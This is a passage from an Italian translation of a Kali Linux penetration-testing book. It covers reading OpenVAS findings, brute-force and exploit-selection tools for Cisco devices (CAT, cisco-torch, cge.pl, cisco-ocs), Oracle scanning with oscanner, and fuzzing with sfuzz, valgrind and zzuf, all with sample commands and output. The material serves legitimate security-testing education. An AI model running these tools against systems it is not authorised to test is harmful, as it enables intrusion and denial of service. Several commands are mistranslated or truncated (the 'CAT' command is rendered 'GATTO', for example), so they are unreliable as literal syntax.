Figura 4-15. Trovare Ubuntu in OpenVAS
Ogni scoperta ti dirà come è stata rilevata la vulnerabilità. In questo caso,
OpenVAS aveva ottenuto l'accesso al sistema locale e aveva esaminato un
elenco dei pacchetti installati. OpenVAS ha identificato che la versione
installata ha una vulnerabilità aperta che è stata divulgata dallo
sviluppatore. Per verificarlo, puoi esaminare il report CVE. Puoi anche
esaminare l'elenco dei pacchetti installati per verificare il numero di
versione installato. Infine, e forse più importante, puoi esaminare l'avviso
di sicurezza fornito da Canonical, la società dietro Ubuntu. In alcuni casi,
potrebbero essere in atto delle misure correttive per limitare l'esposizione,
mentre l'applicazione porta ancora lo stesso numero di versione di quello
fornito dal responsabile del pacchetto upstream.
Quando ottieni risultati da alcuni servizi, vale la pena provare il più
possibile a duplicarli manualmente. È qui che potresti voler aumentare il
più possibile la registrazione. Puoi farlo andando nelle preferenze dello
scanner e attivando Log Whole Attack. Puoi anche controllare il registro
dell'applicazione dall'applicazione di destinazione per vedere esattamente
cosa è stato fatto. Ripetere l'attacco e quindi modificarlo in modi utili può
essere importante. Potresti ricevere un messaggio di errore dal servizio di
ascolto o, se si tratta di un'applicazione Web, dall'applicazione o dal server
dell'applicazione. Potresti ottenere risultati di rilevamento di bassa qualità
che potrebbero essere comunque seri e che devono essere verificati
manualmente.
Se hai bisogno di aiuto per svolgere ricerche e convalide aggiuntive, i
risultati avranno un elenco di risorse. Queste pagine web conterranno
maggiori dettagli sulla vulnerabilità, che possono aiutarti a comprendere
l'attacco in modo da poter lavorare per duplicarlo. Spesso, queste risorse
rimandano all'annuncio della vulnerabilità. Possono anche fornire dettagli
da parte dei fornitori su correzioni o soluzioni alternative.
Un'altra colonna da esaminare dalla Figura 4-14 è la seconda colonna,
contrassegnata solo da un'icona. Questa è la colonna che indica il tipo di
soluzione. Le soluzioni possono includere soluzioni alternative, correzioni
del fornitore o mitigazioni. Ogni risultato fornirà dettagli aggiuntivi sulle
soluzioni alternative o sulle correzioni che potrebbero essere possibili. Una
delle vulnerabilità rilevate riguardava le funzionalità di un server SMTP che
potrebbero portare un aggressore a informazioni sugli indirizzi e-mail. La
Figura 4-16 mostra uno dei risultati e la sua soluzione. Questa particolare
soluzione è una correzione del fornitore. In questo caso, la correzione
consiste nell'aggiornare il software installato alla versione più recente. È
inoltre possibile trovare soluzioni alternative nelle vulnerabilità identificate
e la soluzione alternativa verrà documentata.
Figura 4-16. Soluzione OpenVAS
Le ultime colonne da esaminare sono Host e Location. L'host indica quale
sistema presentava la vulnerabilità. Questo è importante affinché la tua
organizzazione conosca il sistema su cui deve eseguire il lavoro di
configurazione. La location indica su quale porta viene eseguito il servizio
di destinazione. Questo ti consente di sapere dove dovresti indirizzare i
tuoi test aggiuntivi. Quando fornisci dettagli all'organizzazione, è
importante includere il sistema interessato. Includo anche eventuali
mitigazioni o correzioni che potrebbero essere disponibili quando scrivo
report per i clienti.
Vulnerabilità dei dispositivi di rete
OpenVAS è in grado di testare i dispositivi di rete. Se i tuoi dispositivi di
rete sono accessibili tramite le reti che stai scansionando, possono essere
toccati da OpenVAS, che può rilevare il tipo di dispositivo e applicare i test
appropriati. Tuttavia, con Kali sono inclusi anche programmi specifici per
dispositivi di rete e vendor. Poiché Cisco è un comune vendor di
networking, c'è una maggiore probabilità che qualcuno sviluppi strumenti
ed exploit contro quei dispositivi. Cisco ha la quota di mercato
maggioritaria nel routing e nello switching, quindi quei dispositivi sono
buoni obiettivi per gli attacchi.
I dispositivi di rete sono spesso gestiti tramite reti. Ciò può essere fatto
tramite interfacce web usando HTTP(S) o su una console tramite un
protocollo come SSH o, molto meno ideale ma comunque una possibilità
remota, Telnet. Una volta che hai un dispositivo su una rete, ha il
potenziale per essere sfruttato. Utilizzando gli strumenti disponibili in Kali,
puoi iniziare a identificare potenziali vulnerabilità nell'infrastruttura di rete
critica.
Dispositivi di controllo
Per prima cosa, utilizzeremo uno strumento per effettuare un audit di base
dei dispositivi Cisco sulla rete. Cisco Auditing Tool (CAT) viene utilizzato per
tentare di effettuare l'accesso ai dispositivi da te forniti. Lo fa in base a un
elenco di parole fornito per tentare l'accesso. Lo svantaggio nell'utilizzare
questo strumento è che utilizza Telnet per tentare le connessioni anziché
SSH, che sarebbe più comune su reti ben protette. Qualsiasi gestione
tramite Telnet può essere intercettata e letta in testo normale perché è così
che viene trasmessa. Poiché la gestione dei dispositivi di rete includerà
password, è più comune utilizzare protocolli crittografati come SSH per la
gestione.
NOTA
Molti degli strumenti in questa sezione non saranno installati in Kali di default. I pacchetti sono
disponibili, ma probabilmente non saranno lì quando proverai a eseguirli per la prima volta.
Fortunatamente, Kali noterà in genere cosa stai cercando di fare e suggerirà un pacchetto che
installerà lo strumento che stai cercando di eseguire. Puoi sempre trovare e installare in anticipo, ma
puoi anche provare semplicemente a eseguire lo strumento e lasciare che Kali ti aiuti a installarlo.
CAT può anche analizzare un sistema utilizzando la rete semplice
Management Protocol (SNMP). La versione di SNMP utilizzata da CAT è
obsoleta. Ciò non significa che alcuni dispositivi non utilizzino ancora
versioni obsolete di protocolli come SNMP. SNMP può essere utilizzato per
raccogliere informazioni sulla configurazione e sullo stato del sistema. La
vecchia versione di SNMP utilizza una stringa di comunità per
l'autenticazione, che viene fornita in testo non crittografato perché la
prima versione di SNMP non utilizza la crittografia. CAT utilizza un elenco di
parole di potenziali stringhe di comunità, sebbene fosse comune che la
stringa di comunità di sola lettura fosse pubblica e la stringa di comunità di
lettura-scrittura fosse privata per molto tempo. Erano le impostazioni
predefinite in molti casi e, a meno che la configurazione del sistema non
fosse cambiata, era ciò che avresti dovuto fornire.
CAT è un programma facile da eseguire. È uno script Perl che richiama
singoli moduli per SNMP e esecuzioni brute-force. Come ho notato,
richiede di fornire gli host. Puoi fornire un singolo host o un file di testo con
un elenco di host al suo interno. L'esempio 4-10 mostra l'output della
guida per CAT e come eseguirlo sui dispositivi Cisco.
Esempio 4-10. Uscita CAT
┌──(kilroy@badmilo)-[/etc/default]
└─$ GATTO
Strumento di controllo Cisco - g0ne
[null0] Utilizzo:
-h hostname (per la scansione di un singolo host
-f hostfile (per la scansione di più host
-p porta # (la porta predefinita è 23)
-w wordlist (elenco di parole per la comunità n
-una passlist (elenco di parole per la gestione
delle password
-i [ioshist] (Controlla la cronologia IOS
-l logfile (file su cui effettuare il log,
predefinito
-q modalità silenziosa (nessuna uscita sullo
schermo)
Il programma cisco-torch può essere utilizzato per la scansione dei
dispositivi Cisco. Una delle differenze tra questo e CAT è che cisco-torch
può essere utilizzato per la scansione delle porte/servizi SSH disponibili.
Inoltre, i dispositivi Cisco possono archiviare e recuperare configurazioni
dai server Trivial File Transfer Protocol (TFTP). cisco-torch può essere
utilizzato per rilevare le impronte digitali sia dei server TFTP che Network
Transfer Protocol (NTP). Ciò aiuterà a identificare l'infrastruttura correlata
sia ai dispositivi Cisco Internetwork Operating System (IOS) sia
all'infrastruttura di supporto per tali dispositivi. IOS è il sistema operativo
che Cisco utilizza sui suoi router e switch aziendali. L'esempio 4-11 mostra
una scansione di una rete locale alla ricerca di server Web Telnet, SSH e
Cisco. Tutti questi protocolli possono essere utilizzati per gestire in remoto i
dispositivi Cisco.
NOTA
Cisco utilizza il suo IOS da decenni ormai. IOS non deve essere confuso con iOS , che è il nome che
Apple dà al sistema operativo che controlla i suoi dispositivi mobili.
Esempio 4-11. Output da cisco-torch
┌──(kilroy@badmilo)-[~]
└─$ cisco-torch -t -s -w 192.168.1.0/24
Utilizzo del file di configurazione
torch.conf...
Caricamento include e plugin ...
#################################################
# Cisco Torch Mass Scanner # # Perché ne abbiamo
bisogno...
# http://www.arhont.com/cisco-torch.pl
#################################################
L'elenco degli obiettivi contiene 256 host
Saranno aggiunti altri 50 processi di scansione
Scansione dell'intervallo da 192.168.1.0 a
192.168.1.5 528028: Controllo di 192.168.1.0 ...
HUH db non trovato, dovrebbe essere in
fingerprint.db
Saltare l'impronta digitale Telnet
Scansione dell'intervallo da 192.168.1.48 a
192.168.1.53 528036: Controllo 192.168.1.48 ...
Scansione dell'intervallo da 192.168.1.24 a
192.168.1.29 528032: Controllo di 192.168.1.24
...
HUH db non trovato, dovrebbe essere in
fingerprint.db
HUH db non trovato, dovrebbe essere in
fingerprint.db
Saltare l'impronta digitale Telnet
Scansione dell'intervallo da 192.168.1.30 a
192.168.1.35
Saltare l'impronta digitale Telnet
Scansione dell'intervallo da 192.168.1.72 a
192.168.1.77 528040: Controllo di 192.168.1.72
...
528033: Controllo 192.168.1.30 ...
HUH db non trovato, dovrebbe essere in
fingerprint.db
Scansione dell'intervallo da 192.168.1.66 a
192.168.1.71 528039: Controllo di 192.168.1.66
...
Saltare l'impronta digitale Telnet
HUH db non trovato, dovrebbe essere in
fingerprint.db
Saltare l'impronta digitale Telnet
Scansione dell'intervallo da 192.168.1.84 a
192.168.1.89 528042: Controllo di 192.168.1.84
...
I dispositivi Cisco hanno vulnerabilità note. Questo non dice nulla su Cisco
o sui suoi sviluppatori, ma tutto sul fatto di avere molto codice in dispositivi
complessi e di essere una scelta molto comune per le aziende di
apparecchiature di rete. Come sempre, gli aggressori passeranno del
tempo a cercare vulnerabilità nei sistemi comunemente utilizzati. Eseguire
scansioni di rete o altri strumenti che identificheranno i dispositivi Cisco
sulla rete è una cosa, ma a un certo punto vorrai anche identificare le
vulnerabilità. Di conseguenza, dobbiamo essere in grado di identificare le
vulnerabilità nei dispositivi sulla rete. Fortunatamente, oltre a utilizzare
OpenVAS per la scansione delle vulnerabilità, che può anche cercare
vulnerabilità nei dispositivi di rete come quelli prodotti da Cisco, uno script
Perl è fornito con Kali per cercare le vulnerabilità Cisco. Questo script,
cge.pl , conosce vulnerabilità specifiche relative ai dispositivi Cisco.
L'esempio 4-12 mostra l'elenco delle vulnerabilità che possono essere
testate con cge.pl e come eseguire lo script, che accetta un target e un
numero di vulnerabilità.
Esempio 4-12. Esecuzione di cge.pl per la scansione delle vulnerabilità
Cisco
┌──(kilroy@badmilo)-[~]
└─$ cge.pl
Utilizzo: perl cge.pl <target> <numero
vulnerabilità>
Elenco delle vulnerabilità:
[1]
- Vulnerabilità di overflow del buffer
Telnet Cisco 677/678
[2] - Vulnerabilità di negazione del servizio
del router Cisco IOS
[3] - Vulnerabilità di autenticazione HTTP Cisco
IOS
[4] - Amministrazione arbitraria della
configurazione HTTP di Cisco IOS
[5] - Negazione di mancata corrispondenza del
protocollo SSH di Cisco Catalyst
[6] - Cisco 675 Web Administration Negazione del
servizio
[7] - Cisco Catalyst 3500 XL Com remoto
arbitrario
[8] - Negazione della richiesta HTTP del
software Cisco IOS S
[9] - Vulnerabilità Cisco 514 UDP Flood Denial
of Service
[10] - Negazione di CiscoSecure ACS per Windows
NT Server
[11] - Vulnerabilità di perdita di memoria di
Cisco Catalyst
[12] - Buffer del server HTTP Cisco CatOS
CiscoView O
[13] - 0 Vulnerabilità di bypass IDS di codifica
(UTF)
[14] - Vulnerabilità di negazione del servizio
HTTP Cisco IOS
Un ultimo strumento Cisco da considerare è cisco-ocs . Questo è un altro
scanner Cisco, ma non sono necessari parametri per eseguire il test. Non
scegli cosa fa cisco-ocs ; lo fa e basta. Tutto ciò che devi fare è fornire
l'intervallo di indirizzi. Puoi vedere un'esecuzione di cisco-ocs nell'esempio
4-13 . Dopo avergli comunicato l'intervallo di indirizzi e avviato e arrestato
l'IP, lo strumento inizierà a testare ogni indirizzo a turno per individuare
punti di ingresso e potenziali vulnerabilità.
Esempio 4-13. Esecuzione di cisco-ocs
┌──(kilroy@badmilo)-[~]
└─$ cisco-ocs 192.168.1.1 192.168.1.254
************************************* OCS
versione 0.2 *****
****
**** codificato da OverIP
**** overip@gmail.com
**** sotto licenza GPL
****
**** utilizzo: ./ocs xxx.xxx.xxx.xxx yyy
**** xxx.xxx.xxx.xxx = intervallo st
**** yyy.yyy.yyy.yyy = intervallo e
****
*************************************************
(192.168.1.1) Porte filtrate
(192.168.1.2) Porte filtrate
Come puoi vedere dagli strumenti qui, diversi programmi sono alla ricerca
di dispositivi Cisco e potenziali vulnerabilità. Se riesci a trovare questi
dispositivi e mostrano porte aperte per testare gli accessi o, peggio ancora,
vulnerabilità, vale sicuramente la pena segnalarli come dispositivi per
cercare exploit. Questo non significa che i dispositivi Cisco siano gli unici
dispositivi di rete disponibili, ma sono in circolazione da abbastanza tempo
e hanno abbastanza dispositivi installati in tutto il mondo da rappresentare
un obiettivo interessante per lo sviluppo di strumenti. Nel tempo, man
mano che più aziende come Palo Alto Networks e altre ottengono più
trazione di quanta ne abbiano già, puoi aspettarti che diventino disponibili
strumenti open source che li scansionano e identificano le vulnerabilità.
Vulnerabilità del database
I server di database contengono solitamente molte informazioni sensibili,
sebbene siano comunemente su reti isolate. Tuttavia, non è sempre così.
Alcune organizzazioni potrebbero anche credere che isolare il database lo
protegga, il che non è vero. Se un aggressore riesce a passare attraverso il
server web o il server applicativo, entrambi i sistemi potrebbero avere
connessioni attendibili al database. Ciò espone molte informazioni agli
attacchi. Quando si lavora a stretto contatto con un'azienda, si può
ottenere l'accesso diretto alla rete isolata per cercare vulnerabilità.
Indipendentemente da dove risieda il sistema, le organizzazioni
dovrebbero sicuramente bloccare i propri database e rimediare a tutte le
vulnerabilità trovate.
Oracle è una grande azienda che ha costruito la sua attività su database
aziendali. Se un'azienda ha bisogno di grandi database con informazioni
sensibili, potrebbe benissimo essersi rivolta a Oracle. Il programma
oscanner installato in Kali esegue la scansione dei database Oracle per
eseguire controlli. Il programma utilizza un'architettura plug-in per abilitare
i test dei database Oracle, tra cui il tentativo di ottenere gli identificatori di
sicurezza (SID) dal server del database, elencare gli account, decifrare le
password e diversi altri attacchi. oscanner è scritto in Java, quindi dovrebbe
essere portabile su più sistemi operativi.
oscanner è dotato anche di diversi elenchi, tra cui elenchi di account, utenti
e servizi. Alcuni file non hanno molte possibilità al loro interno, ma sono
punti di partenza per attacchi contro Oracle. Come con molti altri
strumenti che incontrerai, raccoglierai la tua collezione di identificatori di
servizio, utenti e potenziali password man mano che procedi. Puoi
aggiungere a questi file per testare meglio i database Oracle. Man mano
che testerai sempre più sistemi e reti, dovresti aumentare le possibilità di
dati che hai per eseguire controlli. Ciò, nel tempo, aumenterà le possibilità
di successo. Tieni presente che quando esegui elenchi di parole per nomi
utente e password, avrai successo solo se il nome utente o la password
configurati sul sistema corrispondono esattamente a qualcosa negli elenchi
di parole.
Identificazione di nuove vulnerabilità
Il software ha dei bug. È la natura della bestia. Il software, in particolare i
pezzi di software più grandi, è complesso. Maggiore è la complessità,
maggiore è la possibilità di errore. Pensa a tutte le scelte che vengono
fatte durante l'esecuzione di un programma. Se inizi a calcolare tutti i
potenziali percorsi di esecuzione attraverso un programma, otterrai
rapidamente numeri elevati. Quanti di quei percorsi di esecuzione
completi vengono testati quando viene eseguito il test del software? È
probabile che solo un sottoinsieme dell'intero set di percorsi di
esecuzione. Anche se tutti i percorsi di esecuzione vengono testati, quali
tipi di input vengono testati?
Alcuni test software potrebbero essere incentrati sui test funzionali .
Si tratta di verificare che la funzionalità specificata sia corretta. Puoi farlo
tramite test positivi, assicurandoti che ciò che accade sia quello che ci si
aspetta che accada. Potrebbe esserci anche una certa quantità di test
negativi: vuoi assicurarti che il tuo programma fallisca educatamente se
accade qualcosa di inaspettato. È questo test negativo che può essere
difficile da realizzare, perché se hai un set di dati che ti aspetti, è solo un
set parziale rispetto a tutto ciò che potrebbe accadere nel corso
dell'esecuzione di un programma, specialmente uno che accetta input
utente a un certo punto.
Il test di confine avviene quando si va oltre i limiti dell'input previsto. Si
testano i bordi dei valori massimo o minimo e appena fuori dal massimo o
minimo, verificando la presenza di errori e la corretta gestione dell'input.
Inviare alle applicazioni dati inattesi è un modo per identificare bug in un
programma. Potresti ricevere messaggi di errore che forniscono
informazioni utili, oppure potresti avere un crash del programma. Un modo
per ottenere questo risultato è usare una classe di applicazioni chiamate
fuzzer . Un fuzzer genera dati casuali o variabili da fornire a
un'applicazione. L'input viene generato a livello di programmazione in base
a un set di regole.
NOTA
Il fuzzing può essere considerato da alcuni un test di tipo "opaque-box", perché il programma di
fuzzing non ha conoscenza del funzionamento interno dell'applicazione di servizio. Invia dati,
indipendentemente da come il programma si aspetta che appaia l'input. Anche se hai accesso al
codice sorgente, non stai sviluppando i test che esegui con un fuzzer rispetto all'aspetto del codice
sorgente. Da questo punto di vista, l'applicazione potrebbe anche essere una scatola opaca, anche se
hai il codice sorgente.
Kali ha alcuni fuzzer installati e altri che possono essere installati. Il primo
da guardare, sfuzz , utilizzato per inviare traffico di rete ai server. sfuzz ha
una raccolta di file di regole che indicano al programma come creare i dati
che vengono inviati. Alcuni di questi sono basati su protocolli particolari.
Ad esempio, l'esempio 4-14 mostra l'uso di sfuzz per inviare traffico SMTP
a un server di posta elettronica. Il flag -T indica che stiamo utilizzando TCP
e il flag -s indica che faremo fuzzing di sequenza anziché fuzzing letterale. Il
flag -f indica di usare il file /usr/share/sfuzz-db/basic.smtp come input per
il fuzzer da usare. Infine, i flag -S e -p indicano rispettivamente l'indirizzo IP
di destinazione e la porta.
Esempio 4-14. Utilizzo di sfuzz per eseguire il fuzz di un server SMTP
┌──(kilroy@badmilo)-[~]
└─$ sudo sfuzz -T -s -f /usr/share/sfuzz-db/basic
[17:37:30] opzioni di dumping:
nome file: </usr/share/sfuzz-db/basic.smtp stato:
<8> numero riga: <14> letterali: [30] sequenze:
[31] simboli: [0] req_del: <200> mseq_len:
<50050> plugin: <nessuno> s_syms: <0> <-- snip ->
[17:37:30] info: inizio fuzz - metodo: tcp, co
[/usr/share/sfuzz-db/basic.smtp], out: [127.0.0.
[17:37:30] tentativo di fuzz - 1 (len: 50057).
[17:37:30] info: tx fuzz - (50057 byte) - scanni
[17:37:30] leggi:
220 badmilo.washere.com ESMTP Postfix (Debian/GNU
250 badmilo.washere.com
=================================================
== [17:37:30] tentativo di fuzz - 2 (len: 50057).
[17:37:30] info: tx fuzz - (50057 byte) - scanni
[17:37:30] leggi:
220 badmilo.washere.com ESMTP Postfix (Debian/GNU
250 badmilo.washere.com
=================================================
== [17:37:30] tentativo di fuzz - 3 (len: 50057).
[17:37:30] info: tx fuzz - (50057 byte) - scanni
[17:37:30] leggi:
220 badmilo.washere.com ESMTP Postfix (Debian/GNU
250 badmilo.washere.com
=================================================
=== [17:37:30] tentativo di fuzz - 4 (len:
50057).
[17:37:30] info: tx fuzz - (50057 byte) - scanni
[17:37:31] leggi:
220 badmilo.washere.com ESMTP Postfix (Debian/GNU
250 badmilo.washere.com
=================================================
== [17:37:31] tentativo di fuzz - 5 (len: 50057).
[17:37:31] info: tx fuzz - (50057 byte) - scanni
[17:37:31] leggi:
220 badmilo.washere.com ESMTP Postfix (Debian/GNU
250 badmilo.washere.com
================================================
Uno dei problemi con l'uso di attacchi fuzzing è che possono generare
crash del programma. Mentre questo è in ultima analisi l'intento
dell'esercizio, la domanda è come determinare quando il programma si è
effettivamente bloccato. Puoi farlo manualmente, ovviamente, eseguendo
il programma in fase di test in una sessione di debugger in modo che il
debugger catturi il crash. Il problema con questo approccio è che può
essere difficile sapere quale caso di test ha causato il crash e, mentre
trovare un bug è positivo, ottenere semplicemente un crash del
programma non è sufficiente per identificare vulnerabilità o creare exploit
che sfruttano la vulnerabilità. Un bug, dopotutto, non è necessariamente
una vulnerabilità. Potrebbe semplicemente essere un bug. I pacchetti
software possono essere utilizzati per integrare il monitoraggio del
programma con il test dell'applicazione. Puoi utilizzare un programma
come valgrind per strumentare la tua analisi. L'esempio 4-15 mostra l'avvio
di un server POP3 con lo strumento memcheck in valgrind .
Questo controllerà le perdite di memoria.
Esempio 4-15. Controllo delle perdite di memoria con valgrind
┌──(kilroy@badmilo)-[~]
└─$ sudo valgrind --tool=memcheck popa3d
==552080== Memcheck, un rilevatore di errori di
memoria
==552080== Copyright (C) 2002-2022 e GNU GPL
==552080== Utilizzo di Valgrind-3.19.0 e LibVEX;
reru
==552080== Comando: popa3d
==552080==
+Va bene
Una volta che valgrind è in esecuzione con un servizio, puoi quindi eseguire
uno strumento come sfuzz su di esso per vedere se riesci a trovare perdite
di memoria. Naturalmente, valgrind ha anche altre funzionalità oltre a
memcheck che puoi usare per strumentare le tue applicazioni. La sfida con
uno strumento come valgrind è che deve avere il programma che chiami in
esecuzione. Molti servizi vogliono essere in modalità demone, il che
significa che sembrano terminare in modo pulito dalla prospettiva del
terminale in cui lo esegui. Il programma chiamato a sua volta chiama un
altro programma, ma è il programma chiamato che valgrind sta
osservando. Non appena si ferma, valgrind non ha più nulla da osservare.
Ci sono opzioni per valgrind per seguire i processi figlio che possono
aiutare in queste circostanze. Questo strumento, tuttavia, ti darà qualche
spunto su cosa sta succedendo con il programma in fase di test mentre
lavori con i test dell'applicazione.
In alcuni casi, potresti trovare programmi mirati ad applicazioni o protocolli
specifici. Mentre sfuzz è un programma di fuzzing generico che può seguire
più protocolli, programmi come protos-sip sono progettati specificamente
per testare il Session Initiation Protocol (SIP), un protocollo comune
utilizzato nelle implementazioni VoIP. Il pacchetto protos-sip è
un'applicazione Java sviluppata come parte di un programma di ricerca. La
ricerca si è trasformata nella creazione di un'azienda che vende software
sviluppato per fuzzare protocolli di rete.
Non tutte le applicazioni sono servizi che ascoltano sulle reti per l'input.
Molte applicazioni accettano l'input sotto forma di file. Anche qualcosa
come sfuzz che accetta le definizioni come input accetta quelle definizioni
sotto forma di file. Certamente l'elaborazione di testi, i programmi di fogli
di calcolo, i programmi di presentazione e un'ampia varietà di altri tipi di
software usano i file. Alcuni fuzzer sono sviluppati allo scopo di testare le
applicazioni che accettano i file come input.
Un programma che puoi usare per fare una gamma più ampia di test fuzz è
zzuf . Questo programma può manipolare l'input in un programma in modo
da fornirgli dati inaspettati. L'esempio 4-16 mostra un'esecuzione di zzuf
sul programma pdf-parser , che è uno script Python usato per raccogliere
informazioni da un file PDF. Quello che stiamo facendo è passare
l'esecuzione del programma in zzuf come parametro della riga di comando
dopo aver detto a zzuf cosa fare. C'è una sfida con questo programma,
però. È uno strumento più vecchio, quindi non è stato testato con versioni
più recenti di Python. Qui vedrai gli errori.
Esempio 4-16. Fuzzing del parser PDF con zzuf
┌──(kilroy@badmilo)-[~]
└─$ zzuf -s 0:10 -c -C 0 -T 3 pdf-parser -a fuzzi
Questo programma non è stato testato con questa
versione
In caso di problemi, utilizzare Python
Commento: 151
Riferimento X: 1
Rimorchio: 1
Riferimento iniziale: 1
Oggetto indiretto: 1 Oggetti
indiretti con un flusso:
1: 2020
Oggetti indiretti non referenziati: 2020 2 R
Questo programma non è stato testato con questa
versione
In caso di problemi, utilizzare Python
Commento: 56
Riferimento X: 0
Rimorchio: 1
Riferimento iniziale: 0
Oggetto indiretto: 32
Oggetti indiretti con un flusso: 2022, 2030, 2033
12, 14, 16, 18, 20, 21
15: 2022, 2021, 2033, 2034, 2036, 2037, 2040, 2
/EztGStato 1: 2029
/Carattere 2: 2025, 2026
/DescrizioneFonte 1: 2027
/OCG 1: 2123
/OCMD 1: 2030
/ObjStm 7: 6, 9, 14, 16, 17, 20, 21
/OâjStm 1: 11
/Pagina 1: 2024
/Pagine 1: 25
/XRif 1: 2041
Oggetti indiretti non referenziati: 2 0 R, 3 1 R,
5 0
14 0 R, 16 0 R, 17 0 R, 18 0 R, 20 0 R, 21 0 R, 2
2024 0 R, 2036 0 R, 2037 0 R, 2041 0 R, 2123 0 R
Oggetti indiretti non referenziati senza /ObjStm
obj
11 0 R, 12 0 R, 18 0 R, 24 0 R, 26 0 R, 2022 0 R
2037 0 R, 2041 0 R, 2123 0 R
Sulla riga di comando per zzuf , gli stiamo dicendo di usare valori seed ( -s )
e di fuzzare l'input solo sulla riga di comando. Qualsiasi programma che
legge file di configurazione per il suo funzionamento non avrebbe quei file
di configurazione modificati durante l'esecuzione. Stiamo cercando di
modificare solo l'input dal file che stiamo specificando. Specificando -C 0
diciamo a zzuf di non fermarsi dopo il primo crash. Infine, -T 3 dice che
dovremmo andare in timeout dopo 3 secondi in modo che il test non si
blocchi.
Utilizzare uno strumento come questo può offrire un grande potenziale
per identificare bug in applicazioni che leggono ed elaborano file, in
particolare un lettore PDF, in questo caso. Come programma di uso
generale, zzuf ha un potenziale che va anche oltre le capacità limitate
mostrate qui. Oltre al fuzzing dei file, può essere utilizzato per il fuzzing di
rete. Se sei interessato a localizzare vulnerabilità, un po' di tempo
trascorso utilizzando zzuf potrebbe essere ben speso.
Riepilogo
Le vulnerabilità sono le porte potenzialmente aperte attraverso cui gli
attacchi possono passare tramite exploit. Identificare le vulnerabilità è un
compito importante per chi esegue test di sicurezza, poiché la correzione
delle vulnerabilità è un elemento importante nel programma di sicurezza di
un'organizzazione. Ecco alcune idee da ricordare:
Una vulnerabilità è una debolezza in un software o in un sistema. Una
vulnerabilità è un bug, ma un bug potrebbe non essere una
vulnerabilità.
Un exploit è un mezzo per sfruttare una vulnerabilità per ottenere
qualcosa a cui l'attaccante non dovrebbe avere accesso. OpenVAS è uno
scanner di vulnerabilità open source che può essere utilizzato per la
scansione di vulnerabilità sia remote che locali.
Le vulnerabilità locali richiedono che qualcuno abbia un qualche tipo di
accesso autenticato, il che potrebbe renderle meno critiche per alcune
persone, ma sono comunque essenziali da correggere poiché possono
essere utilizzate per consentire l'escalation dei privilegi. Anche i
dispositivi di rete sono aperti alle vulnerabilità e possono fornire a un
aggressore l'accesso per modificare i flussi di traffico. La scansione delle
vulnerabilità nei dispositivi di rete può essere eseguita utilizzando
OpenVAS o altri strumenti specifici, inclusi quelli focalizzati sui dispositivi
Cisco.
Identificare vulnerabilità inesistenti può richiedere un certo lavoro, ma
strumenti come i fuzzer possono essere utili per innescare crash di
programmi, che potrebbero essere vulnerabilità.
Risorse utili
Progetto OWASP ( Open Web Application Securit y Project ) Fuzzin g
Presentazione del Black Hat di Mateusz Jurczyk, “Formato file efficace
Confuso ”
Il blog di Jose Ramon Palanco, “Il fantastico mondo del file fuzzin g ”
Il tutorial di Hanno Böck, “ Guida introduttiva al fuzzin g ”
Bersaglio hacker, “Tutorial OpenVAS”
L'arte della codifica, " Programmazione difensiva , convalida "
Inserimento in C e Fortran”
Capitolo 5. Exploit automatizzati
Gli scanner di vulnerabilità forniscono informazioni. Non forniscono una
garanzia che la vulnerabilità esista. Non garantiscono nemmeno che ciò
che troviamo sia l'elenco completo delle vulnerabilità che possono esistere
all'interno della rete di un'organizzazione. Uno scanner può restituire
risultati incompleti per molte ragioni. La prima è che segmenti o sistemi di
rete possono essere esclusi dalla scansione e dalla raccolta di informazioni.
Ciò è comune con l'esecuzione di alcuni test di sicurezza. Un altro potrebbe
essere che lo scanner è stato bloccato da particolari porte di servizio. Lo
scanner non può raggiungere quelle porte e, di conseguenza, non può
determinare le potenziali vulnerabilità che possono esistere all'interno di
quel servizio. Naturalmente, non possono essere identificate nemmeno le
vulnerabilità che non sono note in precedenza.
I risultati degli scanner di vulnerabilità che abbiamo utilizzato sono solo
punti di partenza quando si tratta di un test di sicurezza completo. Testare
per vedere se sono sfruttabili non solo fornisce veridicità alla scoperta, ma
in più, sarai in grado di mostrare ai dirigenti cosa si può fare come risultato
di quella vulnerabilità. Le dimostrazioni sono un modo potente per attirare
l'attenzione delle persone quando si tratta di problemi di sicurezza. Ciò è
particolarmente vero se la dimostrazione porta a un chiaro percorso verso
la distruzione o la compromissione delle risorse informative.
Sfruttare le vulnerabilità è un modo per dimostrare che le vulnerabilità
esistono e mostrare il potenziale impatto di un exploit. Inoltre, sfruttare le
vulnerabilità può aprire la possibilità di identificare altre vulnerabilità. Gli
exploit possono coprire un'ampia gamma di azioni, anche se potresti
pensare che quando parliamo di exploit, stiamo parlando di entrare in
programmi in esecuzione e ottenere un certo livello di accesso interattivo a
un sistema. Non è necessariamente vero. A volte, una vulnerabilità è
semplicemente una password debole. Ciò può dare un certo accesso a
un'interfaccia web che contiene dati sensibili. La vulnerabilità potrebbe
essere una debolezza che porta a un diniego di servizio, sia di un intero
sistema che di una singola applicazione. Ciò significa che possiamo
eseguire exploit in molti modi. In questo capitolo, inizieremo a esaminare
alcuni di questi modi e gli strumenti disponibili in Kali.
Cos'è un exploit?
Le vulnerabilità sono una cosa. Sono debolezze nel software o nei sistemi.
Sfruttare queste debolezze per compromettere un sistema o ottenere un
accesso non autorizzato, incluso l'aumento dei privilegi rispetto a quelli
forniti, è uno sfruttamento . Gli exploit vengono costantemente sviluppati
per sfruttare le vulnerabilità che sono state identificate. A volte, l'exploit
viene sviluppato più o meno nello stesso momento in cui è stata
identificata la vulnerabilità. Altre volte, la vulnerabilità viene trovata per
prima ed è essenzialmente teorica; il programma si blocca o il codice
sorgente è stato analizzato, suggerendo un problema nel software.
L'exploit potrebbe arrivare più tardi. Trovare le vulnerabilità può richiedere
un set di competenze diverso dalla scrittura di exploit.
È importante notare qui che anche quando una vulnerabilità esiste
chiaramente, potresti non essere in grado di sfruttarla. Un exploit potrebbe
non essere disponibile o potresti non essere in grado di sfruttare la
vulnerabilità da solo. Inoltre, sfruttare una vulnerabilità non garantisce
sempre una compromissione del sistema o persino un'escalation dei
privilegi. Non c'è una linea retta tra l'identificazione della vulnerabilità e la
compromissione del sistema, l'escalation dei privilegi o l'esfiltrazione dei
dati tanto ambita. Ottenere ciò che si desidera può richiedere molto
lavoro, anche se si conosce la vulnerabilità e si ha l'exploit.
Potresti avere l'exploit e sapere che esiste una vulnerabilità. Non tutti gli
exploit funzionano in modo affidabile. A volte è una questione di
tempistiche. Può anche essere una questione di configurazione specifica
del sistema. Una leggera modifica nella configurazione, anche se il
software ha il codice giusto in atto che è vulnerabile, può rendere un
exploit inefficace o inutilizzabile. A volte potresti eseguire un exploit più
volte di seguito senza successo, solo per ottenere successo, ad esempio, al
